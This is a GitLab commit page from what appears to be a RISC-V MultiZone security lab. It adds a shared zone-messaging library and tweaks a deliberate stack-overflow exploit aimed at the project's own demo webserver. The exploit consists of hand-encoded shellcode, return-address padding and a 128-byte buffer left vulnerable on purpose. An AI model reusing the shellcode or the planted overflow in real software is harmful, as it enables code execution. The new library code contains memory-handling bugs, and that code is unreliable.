Skip to content
Snippets Groups Projects
Commit 8a7b4bdd authored by fptk's avatar fptk
Browse files

creates 'shared lib' for func btw zone1/2 and fixed get_debuginfo.py

parent 45bb94ec
No related branches found
No related tags found
No related merge requests found
Showing with 196 additions and 76 deletions
......@@ -4,19 +4,23 @@ import os
import sys
import subprocess
try:
if sys.argv[1] == "--help" or sys.argv[1] == "-h":
print(f"{sys.argv[0]} elffile outputfile")
except:
print(f"{sys.argv[0]} elffile outputfile")
exit()
elf_file = ""
out_file = ""
try:
elf_file = sys.argv[1]
except:
printf("Error parsing parameters: elffile")
print("Error parsing parameters: elffile")
try:
out_file = sys.argv[2]
except:
printf("Error parsing parameters: outputfile")
print("Error parsing parameters: outputfile")
arch_prefix = "riscv64-unknown-elf-"
try:
......
.text
li a0, 0x2044b330
li a0, 0x2044b338
li t3, 0x204408aa
jalr t4, t3
.PHONY: all
all: $(TARGET)
INCLUDES += -I $(SHARED_DIR)/include
C_SRCS += $(SHARED_DIR)/ZoneMessage.c $(SHARED_DIR)/messageHandling.c
\ No newline at end of file
#include "include/ZoneMessage.h"
void initZoneMessage(struct ZoneMessage *zm)
{
zm->len = 0;
zm->data = NULL;
}
void freeZoneMessage(struct ZoneMessage *zm)
{
if(zm->data != NULL)
free(zm->data);
}
void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length)
{
zm->data = (char*)malloc(length);
memcpy(data, zm->data, length);
zm->len = length;
}
char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter)
{
char *buffer = (char*)malloc(zm->len + sizeof(uint16_t));
memcpy(buffer, (char*)&zm->len, sizeof(uint16_t));
memcpy(buffer + sizeof(uint16_t), zm->data, zm->len);
if(ImplicitFree == freeAfter)
freeZoneMessage(zm);
return buffer;
}
struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter)
{
struct ZoneMessage *zm = (struct ZoneMessage *)calloc(1, sizeof(struct ZoneMessage));
initZoneMessage(zm);
zm->len = *(uint16_t*)zmb;
zm->data = (char*)malloc(zm->len);
memcpy(zm->data, zmb+sizeof(uint16_t), zm->len);
if(ImplicitFree == freeAfter)
free(zmb);
return zm;
}
#ifndef SHARED_INCLUDE_ZONEMESSAGE_H_
#define SHARED_INCLUDE_ZONEMESSAGE_H_
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#define MESSAGE_BUFFER_LENGTH 128
struct ZoneMessage {
uint16_t len;
char *data;
};
enum IMPLICITFREE {ExplicitFree, ImplicitFree};
void initZoneMessage(struct ZoneMessage *zm);
void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length);
char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter);
struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter);
#endif /* SHARED_INCLUDE_ZONEMESSAGE_H_ */
......@@ -3,6 +3,10 @@
//taken from the multizone-iot-sdk source
#include "multizone.h"
#include <unistd.h> // read() write()
#include <string.h> // strxxx()
#include <stdio.h> // printf() sprintf()
#include "ZoneMessage.h"
#define printf2(format, args...) { /* Multi-part printf() */\
char *str = malloc(128); \
......@@ -15,7 +19,9 @@
} \
} \
void msg_handler();
static int msg_handler(const int zone, const char *msg);
struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone);
void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter);
#endif /* ZONE1_MESSAGE_HANDLING_H_ */
#include "include/messageHandling.h"
void msg_handler(char *inputline) {
static char str[4][16*4] = {"", "", "", ""}; // max str len 63=16*4-1
static char *p[4] = {str[0], str[1], str[2], str[3]}; // write ptr (advance in multiples of sizeof(msg))
typedef enum {zone1=1, zone2, zone3, zone4} Zone;
for (Zone zone=zone1; zone<=zone4; zone++){
char msg[16]={0};
if (MZONE_RECV(zone, msg)) {
if (strcmp("ping", msg) == 0){
MZONE_SEND(zone, "pong");
} else {
// print multi-part string up to 64-1=63 char
memcpy( p[zone-1], msg, sizeof(msg)); p[zone-1] += sizeof(msg);
if ( p[zone-1] > str[zone-1] + sizeof(str[zone-1]))
p[zone-1]=str[zone-1];
if ( strnlen(msg, sizeof(msg)) < sizeof(msg) ){
write(1, "\e7\e[2K", 6); // save curs pos & clear entire line
printf("\rZ%d > %s \n", zone, str[zone-1]);
if (strrchr(str[zone-1], '\n')==NULL) printf("\n");
printf("\rZ2 > %s", inputline);
write(1, "\e8\e[2B", 6); // restore curs pos & curs down 2x
p[zone-1]=str[zone-1];
}
}
}
}
}
struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone)
{
char messageBuffer[16];
memset(&messageBuffer[0], 0, 16);
if (MZONE_RECV(receiveFromZone, messageBuffer)) {
if(strncmp("TransmitLen", &messageBuffer[0], 11) == 0) {
//First Buff:
//[T,r,a,n,s,m,i,t,L,e,n,\0,len,len,len,len]
struct ZoneMessage *zm = (struct ZoneMessage*) calloc(1, sizeof(struct ZoneMessage));
initZoneMessage(zm);
zm->len = *(uint16_t *)&messageBuffer[12];
uint16_t received = 0;
zm->data = (char *)malloc(zm->len);
while(received < zm->len) {
MZONE_RECV(receiveFromZone, &messageBuffer[0]);
memcpy(zm->data + received, &messageBuffer[0], 16);
received += 16;
}
}
}
else
return NULL;
}
void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter)
{
char *zmb = serializeZoneMessage(zm, freeAfter);
uint16_t sent = 0;
char msgBuf[16] = "TransmitLen";
memcpy(&msgBuf[12],(char*)&zm->len, 4);
MZONE_SEND(sendToZone, msgBuf);
while(sent < zm->len) {
memset(&msgBuf[0],0, 16);
//TODO: May just iterate over zm->data directly instead of copy
memcpy(&msgBuf[0], zm->data + sent, zm->len - sent);
MZONE_SEND(sendToZone, msgBuf);
sent +=16;
}
}
......@@ -9,6 +9,7 @@ INCLUDES += -I ../ext/multizone
INCLUDES += -I ../ext/lwip/src/include
INCLUDES += -I ../ext/mbedtls/include
C_FLAGS+="-g"
LINKER_SCRIPT := linker.lds
......@@ -17,6 +18,7 @@ LINKER_SCRIPT := linker.lds
BSP_BASE := ../bsp
PLATFORM_DIR := $(BSP_BASE)/$(BOARD)
NEWLIB_DIR := $(PLATFORM_DIR)/newlib
SHARED_DIR := ../shared
include $(SHARED_DIR)/Makefile
include $(NEWLIB_DIR)/newlib.mk
\ No newline at end of file
......@@ -24,7 +24,7 @@
#include "queue.h"
#include "tcp_cb.h"
#include "message_handling.h"
#include "messageHandling.h"
// ----------------------------------------------------------------------------
......
#include "message_handling.h"
static int msg_handler(const int zone, const char *msg) {
// consumed messages are processed locally and not forwarded to the broker
int consumed = 0;
if (strcmp("ping", msg)==0){
MZONE_SEND(zone, "pong");
consumed = 1;
} else if (strcmp("broker hello", msg)==0){
MZONE_SEND(zone, "online");
}
return consumed;
}
......@@ -3,7 +3,8 @@
#include "http_helpers.h"
#include "webserver.h"
#include "message_handling.h"
#include "messageHandling.h"
#include "ZoneMessage.h"
#define INDEX_PAGE \
"<!DOCTYPE html>\n"\
......@@ -29,7 +30,8 @@
"</html>"
char *admin_name = "my_secret_admin_name";
//char *admin_name = "my_secret_admin_name";
char *admin_name = "injection working!!!";
int is_admin(char *name, uint32_t name_len) {
return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0;
......@@ -38,7 +40,7 @@ int is_admin(char *name, uint32_t name_len) {
char *generate_page(char *name, uint32_t name_len) {
// nobody could possibly enter a name longer than 120 characters, so this buffer
// is definitely large enough
char message[128];
char message[MESSAGE_BUFFER_LENGTH];
printf2("CD: 0x%08x ", ((uint32_t*)(&message[8])));
printf2("FP: 0x%08x ", *((uint32_t*)(&message[136])));
printf2("RA: 0x%08x ", *((uint32_t*)(&message[140])));
......@@ -68,12 +70,11 @@ char *server_request_handler(char *location, enum request_type type, char *data,
data = "X" // padding to align the instructions
"\x37\xb5\x44\x20" // 0: lui a0,0x2044b
"\x13\x05\x05\x33" // 4: addi a0,a0,816 # 0x2044b330
"\x13\x05\x85\x33" // 4: addi a0,a0,824 # 0x2044b338
"\x37\x1e\x44\x20" // 8: lui t3,0x20441
"\x13\x0e\xae\x8a" // c: addi t3,t3,-1878 # 0x204408aa
"\xe7\x0e\x0e\x00" // 10: jalr t4,t3
"XXXX" // padding to overwrite the return address
"XXXX" // padding to overwrite the return address
"XXXX" // padding to overwrite the return address
......
......@@ -5,6 +5,7 @@ TARGET = zone2.elf
BSP_BASE := ../bsp
PLATFORM_DIR := $(BSP_BASE)/$(BOARD)
NEWLIB_DIR := $(PLATFORM_DIR)/newlib
SHARED_DIR := ../shared
LINKER_SCRIPT := linker.lds
......@@ -12,4 +13,5 @@ C_SRCS += main.c
INCLUDES += -I ../ext/multizone
include $(SHARED_DIR)/Makefile
include $(NEWLIB_DIR)/newlib.mk
......@@ -10,6 +10,8 @@
#include "platform.h"
#include "multizone.h"
#include "messageHandling.h"
#define BUFFER_SIZE 32
static struct{
char data[BUFFER_SIZE];
......@@ -302,48 +304,6 @@ void print_pmp(void){
}
// --------------------------------------------------------------
void msg_handler() {
static char str[4][16*4] = {"", "", "", ""}; // max str len 63=16*4-1
static char *p[4] = {str[0], str[1], str[2], str[3]}; // write ptr (advance in multiples of sizeof(msg))
typedef enum {zone1=1, zone2, zone3, zone4} Zone;
for (Zone zone=zone1; zone<=zone4; zone++){
char msg[16]={0};
if (MZONE_RECV(zone, msg)) {
if (strcmp("ping", msg) == 0){
MZONE_SEND(zone, "pong");
} else {
// print multi-part string up to 64-1=63 char
memcpy( p[zone-1], msg, sizeof(msg)); p[zone-1] += sizeof(msg);
if ( p[zone-1] > str[zone-1] + sizeof(str[zone-1]))
p[zone-1]=str[zone-1];
if ( strnlen(msg, sizeof(msg)) < sizeof(msg) ){
write(1, "\e7\e[2K", 6); // save curs pos & clear entire line
printf("\rZ%d > %s \n", zone, str[zone-1]);
if (strrchr(str[zone-1], '\n')==NULL) printf("\n");
printf("\rZ2 > %s", inputline);
write(1, "\e8\e[2B", 6); // restore curs pos & curs down 2x
p[zone-1]=str[zone-1];
}
}
}
}
}
// ------------------------------------------------------------------------
void cmd_handler(){
......@@ -624,7 +584,7 @@ int main (void) {
inputline[0]='\0';
}
msg_handler();
msg_handler(inputline);
if(buffer.w==0)
MZONE_WFI();
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment